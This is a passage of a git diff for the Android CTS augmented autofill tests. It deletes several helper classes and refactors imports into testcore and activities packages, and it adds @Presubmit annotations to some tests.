diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedHelper.java
deleted file mode 100644
index 56bf8b9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedHelper.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.Timeouts.CONNECTION_TIMEOUT;
-import static android.view.autofill.AutofillManager.MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.Activity;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
-import android.content.ComponentName;
-import android.service.autofill.augmented.FillRequest;
-import android.util.Log;
-import android.util.Pair;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.view.inputmethod.InlineSuggestionsRequest;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.util.List;
-import java.util.Objects;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper for common funcionalities.
- */
-public final class AugmentedHelper {
-
-    private static final String TAG = AugmentedHelper.class.getSimpleName();
-
-    @NonNull
-    public static String getActivityName(@Nullable FillRequest request) {
-        if (request == null) return "N/A (null request)";
-
-        final ComponentName componentName = request.getActivityComponent();
-        if (componentName == null) return "N/A (no component name)";
-
-        return componentName.flattenToShortString();
-    }
-
-    /**
-     * Sets the augmented capture service.
-     */
-    public static void setAugmentedService(@NonNull String service) {
-        Log.d(TAG, "Setting service to " + service);
-        runShellCommand("cmd autofill set temporary-augmented-service 0 %s %d", service,
-                MAX_TEMP_AUGMENTED_SERVICE_DURATION_MS);
-    }
-
-    /**
-     * Resets the content capture service.
-     */
-    public static void resetAugmentedService() {
-        Log.d(TAG, "Resetting back to default service");
-        runShellCommand("cmd autofill set temporary-augmented-service 0");
-    }
-
-    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull AutofillValue expectedFocusedValue) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId,
-                expectedFocusedValue.getTextValue().toString());
-    }
-
-    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull String expectedFocusedValue) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
-    }
-
-    public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull AutofillValue expectedFocusedValue, boolean hasInlineRequest) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId,
-                expectedFocusedValue.getTextValue().toString(), hasInlineRequest);
-    }
-
-    private static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
-            @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
-            @NonNull String expectedFocusedValue, boolean hasInlineRequest) {
-        Objects.requireNonNull(activity);
-        Objects.requireNonNull(expectedFocusedId);
-        assertWithMessage("no AugmentedFillRequest").that(request).isNotNull();
-        assertWithMessage("no FillRequest on %s", request).that(request.request).isNotNull();
-        assertWithMessage("no FillController on %s", request).that(request.controller).isNotNull();
-        assertWithMessage("no FillCallback on %s", request).that(request.callback).isNotNull();
-        assertWithMessage("no CancellationSignal on %s", request).that(request.cancellationSignal)
-                .isNotNull();
-        // NOTE: task id can change, we might need to set it in the activity's onCreate()
-        assertWithMessage("wrong task id on %s", request).that(request.request.getTaskId())
-                .isEqualTo(activity.getTaskId());
-
-        final ComponentName actualComponentName = request.request.getActivityComponent();
-        assertWithMessage("no activity name on %s", request).that(actualComponentName).isNotNull();
-        assertWithMessage("wrong activity name on %s", request).that(actualComponentName)
-                .isEqualTo(activity.getComponentName());
-        final AutofillId actualFocusedId = request.request.getFocusedId();
-        assertWithMessage("no focused id on %s", request).that(actualFocusedId).isNotNull();
-        assertWithMessage("wrong focused id on %s", request).that(actualFocusedId)
-                .isEqualTo(expectedFocusedId);
-        final AutofillValue actualFocusedValue = request.request.getFocusedValue();
-        assertWithMessage("no focused value on %s", request).that(actualFocusedValue).isNotNull();
-        assertAutofillValue(expectedFocusedValue, actualFocusedValue);
-        final InlineSuggestionsRequest inlineRequest =
-                request.request.getInlineSuggestionsRequest();
-        if (hasInlineRequest) {
-            assertWithMessage("no inline request on %s", request).that(inlineRequest).isNotNull();
-        } else {
-            assertWithMessage("exist inline request on %s", request).that(inlineRequest).isNull();
-        }
-    }
-
-    public static void assertAutofillValue(@NonNull AutofillValue expectedValue,
-            @NonNull AutofillValue actualValue) {
-        // It only supports text values for now...
-        assertWithMessage("expected value is not text: %s", expectedValue)
-                .that(expectedValue.isText()).isTrue();
-        assertAutofillValue(expectedValue.getTextValue().toString(), actualValue);
-    }
-
-    public static void assertAutofillValue(@NonNull String expectedValue,
-            @NonNull AutofillValue actualValue) {
-        assertWithMessage("actual value is not text: %s", actualValue)
-                .that(actualValue.isText()).isTrue();
-
-        assertWithMessage("wrong autofill value").that(actualValue.getTextValue().toString())
-                .isEqualTo(expectedValue);
-    }
-
-    @NonNull
-    public static String toString(@Nullable List<Pair<AutofillId, AutofillValue>> values) {
-        if (values == null) return "null";
-        final StringBuilder string = new StringBuilder("[");
-        final int size = values.size();
-        for (int i = 0; i < size; i++) {
-            final Pair<AutofillId, AutofillValue> value = values.get(i);
-            string.append(i).append(':').append(value.first).append('=')
-                   .append(Helper.toString(value.second));
-            if (i < size - 1) {
-                string.append(", ");
-            }
-
-        }
-        return string.append(']').toString();
-    }
-
-    @NonNull
-    public static String toString(@Nullable FillRequest request) {
-        if (request == null) return "(null request)";
-
-        final StringBuilder string =
-                new StringBuilder("FillRequest[act=").append(getActivityName(request))
-                .append(", taskId=").append(request.getTaskId());
-
-        final AutofillId focusedId = request.getFocusedId();
-        if (focusedId != null) {
-            string.append(", focusedId=").append(focusedId);
-        }
-        final AutofillValue focusedValue = request.getFocusedValue();
-        if (focusedValue != null) {
-            string.append(", focusedValue=").append(focusedValue);
-        }
-
-        return string.append(']').toString();
-    }
-
-    // Used internally by UiBot to assert the UI
-    static String getContentDescriptionForUi(@NonNull AutofillId focusedId) {
-        return "ui_for_" + focusedId;
-    }
-
-    private AugmentedHelper() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-
-    /**
-     * Awaits for a latch to be counted down.
-     */
-    public static void await(@NonNull CountDownLatch latch, @NonNull String fmt,
-            @Nullable Object... args)
-            throws InterruptedException {
-        final boolean called = latch.await(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
-        if (!called) {
-            throw new IllegalStateException(String.format(fmt, args)
-                    + " in " + CONNECTION_TIMEOUT.ms() + "ms");
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivity.java
deleted file mode 100644
index 8d7c412..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import android.autofillservice.cts.LoginActivity;
-
-// Currently it's same as LoginActivity, except that it allows rotation.
-public class AugmentedLoginActivity extends LoginActivity {
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
index 2683ec4..89bbbf5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
@@ -16,20 +16,20 @@
 
 package android.autofillservice.cts.augmented;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_PASSWORD;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.assertHasFlags;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertViewAutofillState;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
-import static android.autofillservice.cts.UiBot.LANDSCAPE;
-import static android.autofillservice.cts.UiBot.PORTRAIT;
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.DO_NOT_REPLY_AUGMENTED_RESPONSE;
-import static android.autofillservice.cts.augmented.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.DO_NOT_REPLY_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedAugmentedFillResponse.NO_AUGMENTED_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertViewAutofillState;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.UiBot.LANDSCAPE;
+import static android.autofillservice.cts.testcore.UiBot.PORTRAIT;
 import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
@@ -40,19 +40,25 @@
 import static org.testng.Assert.assertThrows;
 
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.LoginActivity;
-import android.autofillservice.cts.MyAutofillCallback;
-import android.autofillservice.cts.OneTimeCancellationSignalListener;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.activities.AugmentedLoginActivity;
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AugmentedHelper;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.OneTimeCancellationSignalListener;
 import android.content.ComponentName;
 import android.os.CancellationSignal;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
 import android.support.test.uiautomator.UiObject2;
 import android.util.ArraySet;
 import android.view.View;
@@ -81,6 +87,7 @@
         };
     }
 
+    @Presubmit
     @Test
     public void testServiceLifecycle() throws Exception {
         enableService();
@@ -284,6 +291,7 @@
         assertTextAndValue(passwordNode, "malkovich");
     }
 
+    @Presubmit
     @Test
     public void testAutoFill_mainServiceReturnedNull_augmentedAutofillOneField() throws Exception {
         // Set services
@@ -322,6 +330,7 @@
         mAugmentedUiBot.assertUiGone();
     }
 
+    @Presubmit
     @Test
     public void testAutoFill_augmentedFillRequestCancelled() throws Exception {
         // Set services
@@ -598,6 +607,7 @@
         assertViewAutofillState(mActivity.getUsername(), false);
     }
 
+    @Presubmit
     @Test
     public void testAugmentedAutoFill_callback() throws Exception {
         // Set services
@@ -776,6 +786,7 @@
         currentActivity.assertAutoFilled();
     }
 
+    @Presubmit
     @Test
     public void testAugmentedAutoFill_noPreviousRequest_requestAutofill() throws Exception {
         // Set services
@@ -790,6 +801,7 @@
         assertThat(requestResult).isFalse();
     }
 
+    @Presubmit
     @Test
     public void testAugmentedAutoFill_hasPreviousRequestViewFocused_requestAutofill()
             throws Exception {
@@ -834,6 +846,7 @@
         mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
     }
 
+    @Presubmit
     @Test
     public void testAugmentedAutoFill_hasPreviousRequestViewNotFocused_requestAutofill()
             throws Exception {
@@ -1019,7 +1032,7 @@
         final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
 
         // Assert 2nd request
-        assertBasicRequestInfo(request2, mActivity, usernameId, "DOH");
+        assertBasicRequestInfo(request2, mActivity, usernameId, AutofillValue.forText("DOH"));
 
         // Make sure UIs were not shown
         mUiBot.assertNoDatasetsEver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginNotImportantForAutofillActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginNotImportantForAutofillActivityTest.java
index 3875561..2540488 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginNotImportantForAutofillActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginNotImportantForAutofillActivityTest.java
@@ -16,8 +16,9 @@
 
 package android.autofillservice.cts.augmented;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.LoginNotImportantForAutofillActivity;
+import android.autofillservice.cts.activities.LoginNotImportantForAutofillActivity;
+import android.autofillservice.cts.commontests.AbstractLoginNotImportantForAutofillTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.platform.test.annotations.AppModeFull;
 
 @AppModeFull(reason = "AugmentedLoginActivityTest is enough")
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedActivityContextTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedActivityContextTest.java
index e4300ac..c28ec14 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedActivityContextTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedActivityContextTest.java
@@ -16,8 +16,9 @@
 
 package android.autofillservice.cts.augmented;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.LoginNotImportantForAutofillWrappedActivityContextActivity;
+import android.autofillservice.cts.activities.LoginNotImportantForAutofillWrappedActivityContextActivity;
+import android.autofillservice.cts.commontests.AbstractLoginNotImportantForAutofillTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.platform.test.annotations.AppModeFull;
 
 @AppModeFull(reason = "AugmentedLoginActivityTest is enough")
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedApplicationContextTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedApplicationContextTest.java
index efdb036..88b6486 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedApplicationContextTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedNotImportantForAutofillWrappedApplicationContextTest.java
@@ -16,8 +16,9 @@
 
 package android.autofillservice.cts.augmented;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.LoginNotImportantForAutofillWrappedApplicationContextActivity;
+import android.autofillservice.cts.activities.LoginNotImportantForAutofillWrappedApplicationContextActivity;
+import android.autofillservice.cts.commontests.AbstractLoginNotImportantForAutofillTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.platform.test.annotations.AppModeFull;
 
 @AppModeFull(reason = "AugmentedLoginActivityTest is enough")
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedTimeouts.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedTimeouts.java
deleted file mode 100644
index 7bfdfc8..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedTimeouts.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import com.android.compatibility.common.util.Timeout;
-
-/**
- * Timeouts for common tasks.
- */
-final class AugmentedTimeouts {
-
-    private static final long ONE_TIMEOUT_TO_RULE_THEN_ALL_MS = 1_000;
-    private static final long ONE_NAPTIME_TO_RULE_THEN_ALL_MS = 3_000;
-
-    /**
-     * Timeout for expected augmented autofill requests.
-     */
-    static final Timeout AUGMENTED_FILL_TIMEOUT = new Timeout("AUGMENTED_FILL_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout until framework binds / unbinds from service.
-     */
-    static final Timeout AUGMENTED_CONNECTION_TIMEOUT = new Timeout("AUGMENTED_CONNECTION_TIMEOUT",
-            ONE_TIMEOUT_TO_RULE_THEN_ALL_MS, 2F, ONE_TIMEOUT_TO_RULE_THEN_ALL_MS);
-
-    /**
-     * Timeout used when the augmented autofill UI not expected to be shown - test will sleep for
-     * that amount of time as there is no callback that be received to assert it's not shown.
-     */
-    static final long AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS = ONE_NAPTIME_TO_RULE_THEN_ALL_MS;
-
-    private AugmentedTimeouts() {
-        throw new UnsupportedOperationException("contain static methods only");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedUiBot.java
deleted file mode 100644
index 5f9bca5..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedUiBot.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.augmented.AugmentedHelper.getContentDescriptionForUi;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_FILL_TIMEOUT;
-import static android.autofillservice.cts.augmented.AugmentedTimeouts.AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.autofillservice.cts.R;
-import android.autofillservice.cts.UiBot;
-import android.support.test.uiautomator.UiObject2;
-import android.view.autofill.AutofillId;
-
-import androidx.annotation.NonNull;
-
-import com.google.common.base.Preconditions;
-
-import java.util.Objects;
-
-/**
- * Helper for UI-related needs.
- */
-public final class AugmentedUiBot {
-
-    private final UiBot mUiBot;
-    private boolean mOkToCallAssertUiGone;
-
-    public AugmentedUiBot(@NonNull UiBot uiBot) {
-        mUiBot = uiBot;
-    }
-
-    /**
-     * Asserts the augmented autofill UI was never shown.
-     *
-     * <p>This method is slower than {@link #assertUiGone()} and should only be called in the
-     * cases where the dataset picker was not previous shown.
-     */
-    public void assertUiNeverShown() throws Exception {
-        mUiBot.assertNeverShownByRelativeId("augmented autofil UI", R.id.augmentedAutofillUi,
-                AUGMENTED_UI_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    /**
-     * Asserts the augmented autofill UI was shown.
-     *
-     * @param focusedId where it should have been shown
-     * @param expectedText the expected text in the UI
-     */
-    public UiObject2 assertUiShown(@NonNull AutofillId focusedId,
-            @NonNull String expectedText) throws Exception {
-        Objects.requireNonNull(focusedId);
-        Objects.requireNonNull(expectedText);
-
-        final UiObject2 ui = mUiBot.assertShownByRelativeId(R.id.augmentedAutofillUi);
-
-        assertWithMessage("Wrong text on UI").that(ui.getText()).isEqualTo(expectedText);
-
-        final String expectedContentDescription = getContentDescriptionForUi(focusedId);
-        assertWithMessage("Wrong content description on UI")
-                .that(ui.getContentDescription()).isEqualTo(expectedContentDescription);
-
-        mOkToCallAssertUiGone = true;
-
-        return ui;
-    }
-
-    /**
-     * Asserts the augmented autofill UI is gone AFTER it was previously shown.
-     *
-     * @throws IllegalStateException if this method is called without calling
-     * {@link #assertUiShown(AutofillId, String)} before.
-     */
-    public void assertUiGone() {
-        Preconditions.checkState(mOkToCallAssertUiGone, "must call assertUiShown() first");
-        mUiBot.assertGoneByRelativeId(R.id.augmentedAutofillUi, AUGMENTED_FILL_TIMEOUT);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
deleted file mode 100644
index af1229b..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/CannedAugmentedFillResponse.java
+++ /dev/null
@@ -1,378 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts.augmented;
-
-import static android.autofillservice.cts.augmented.AugmentedHelper.getContentDescriptionForUi;
-
-import android.autofillservice.cts.R;
-import android.content.Context;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.service.autofill.InlinePresentation;
-import android.service.autofill.augmented.FillCallback;
-import android.service.autofill.augmented.FillController;
-import android.service.autofill.augmented.FillRequest;
-import android.service.autofill.augmented.FillResponse;
-import android.service.autofill.augmented.FillWindow;
-import android.service.autofill.augmented.PresentationParams;
-import android.service.autofill.augmented.PresentationParams.Area;
-import android.util.ArrayMap;
-import android.util.Log;
-import android.util.Pair;
-import android.view.LayoutInflater;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.TextView;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import java.util.stream.Collectors;
-
-/**
- * Helper class used to produce a {@link FillResponse}.
- */
-public final class CannedAugmentedFillResponse {
-
-    private static final String TAG = CannedAugmentedFillResponse.class.getSimpleName();
-
-    public static final String CLIENT_STATE_KEY = "clientStateKey";
-    public static final String CLIENT_STATE_VALUE = "clientStateValue";
-
-    private final AugmentedResponseType mResponseType;
-    private final Map<AutofillId, Dataset> mDatasets;
-    private long mDelay;
-    private final Dataset mOnlyDataset;
-    private final @Nullable List<Dataset> mInlineSuggestions;
-
-    private CannedAugmentedFillResponse(@NonNull Builder builder) {
-        mResponseType = builder.mResponseType;
-        mDatasets = builder.mDatasets;
-        mDelay = builder.mDelay;
-        mOnlyDataset = builder.mOnlyDataset;
-        mInlineSuggestions = builder.mInlineSuggestions;
-    }
-
-    /**
-     * Constant used to pass a {@code null} response to the
-     * {@link FillCallback#onSuccess(FillResponse)} method.
-     */
-    public static final CannedAugmentedFillResponse NO_AUGMENTED_RESPONSE =
-            new Builder(AugmentedResponseType.NULL).build();
-
-    /**
-     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
-     */
-    public static final CannedAugmentedFillResponse DO_NOT_REPLY_AUGMENTED_RESPONSE =
-            new Builder(AugmentedResponseType.TIMEOUT).build();
-
-    public AugmentedResponseType getResponseType() {
-        return mResponseType;
-    }
-
-    public long getDelay() {
-        return mDelay;
-    }
-
-    /**
-     * Creates the "real" response.
-     */
-    public FillResponse asFillResponse(@NonNull Context context, @NonNull FillRequest request,
-            @NonNull FillController controller) {
-        final AutofillId focusedId = request.getFocusedId();
-
-        final Dataset dataset;
-        if (mOnlyDataset != null) {
-            dataset = mOnlyDataset;
-        } else {
-            dataset = mDatasets.get(focusedId);
-        }
-        if (dataset == null) {
-            Log.d(TAG, "no dataset for field " + focusedId);
-            return null;
-        }
-
-        Log.d(TAG, "asFillResponse: id=" + focusedId + ", dataset=" + dataset);
-
-        final PresentationParams presentationParams = request.getPresentationParams();
-        if (presentationParams == null) {
-            Log.w(TAG, "No PresentationParams");
-            return null;
-        }
-
-        final Area strip = presentationParams.getSuggestionArea();
-        if (strip == null) {
-            Log.w(TAG, "No suggestion strip");
-            return null;
-        }
-
-        if (mInlineSuggestions != null) {
-            return createResponseWithInlineSuggestion();
-        }
-
-        final LayoutInflater inflater = LayoutInflater.from(context);
-        final TextView rootView = (TextView) inflater.inflate(R.layout.augmented_autofill_ui, null);
-
-        Log.d(TAG, "Setting autofill UI text to:" + dataset.mPresentation);
-        rootView.setText(dataset.mPresentation);
-
-        rootView.setContentDescription(getContentDescriptionForUi(focusedId));
-        final FillWindow fillWindow = new FillWindow();
-        rootView.setOnClickListener((v) -> {
-            Log.d(TAG, "Destroying window first");
-            fillWindow.destroy();
-            final List<Pair<AutofillId, AutofillValue>> values;
-            final AutofillValue onlyValue = dataset.getOnlyFieldValue();
-            if (onlyValue != null) {
-                Log.i(TAG, "Autofilling only value for " + focusedId + " as " + onlyValue);
-                values = new ArrayList<>(1);
-                values.add(new Pair<AutofillId, AutofillValue>(focusedId, onlyValue));
-            } else {
-                values = dataset.getValues();
-                Log.i(TAG, "Autofilling: " + AugmentedHelper.toString(values));
-            }
-            controller.autofill(values);
-        });
-
-        boolean ok = fillWindow.update(strip, rootView, 0);
-        if (!ok) {
-            Log.w(TAG, "FillWindow.update() failed for " + strip + " and " + rootView);
-            return null;
-        }
-
-        return new FillResponse.Builder().setFillWindow(fillWindow).build();
-    }
-
-    @Override
-    public String toString() {
-        return "CannedAugmentedFillResponse: [type=" + mResponseType
-                + ", onlyDataset=" + mOnlyDataset
-                + ", datasets=" + mDatasets
-                + "]";
-    }
-
-    public enum AugmentedResponseType {
-        NORMAL,
-        NULL,
-        TIMEOUT,
-    }
-
-    private Bundle newClientState() {
-        Bundle b = new Bundle();
-        b.putString(CLIENT_STATE_KEY, CLIENT_STATE_VALUE);
-        return b;
-    }
-
-    private FillResponse createResponseWithInlineSuggestion() {
-        List<android.service.autofill.Dataset> list = new ArrayList<>();
-        for (Dataset dataset : mInlineSuggestions) {
-            if (!dataset.getValues().isEmpty()) {
-                android.service.autofill.Dataset.Builder datasetBuilder =
-                        new android.service.autofill.Dataset.Builder();
-                for (Pair<AutofillId, AutofillValue> pair : dataset.getValues()) {
-                    final AutofillId id = pair.first;
-                    datasetBuilder.setFieldInlinePresentation(id, pair.second, null,
-                            dataset.mFieldPresentationById.get(id));
-                    datasetBuilder.setAuthentication(dataset.mAuthentication);
-                }
-                list.add(datasetBuilder.build());
-            }
-        }
-        return new FillResponse.Builder().setInlineSuggestions(list).setClientState(
-                newClientState()).build();
-    }
-
-    public static final class Builder {
-        private final Map<AutofillId, Dataset> mDatasets = new ArrayMap<>();
-        private final AugmentedResponseType mResponseType;
-        private long mDelay;
-        private Dataset mOnlyDataset;
-        private @Nullable List<Dataset> mInlineSuggestions;
-
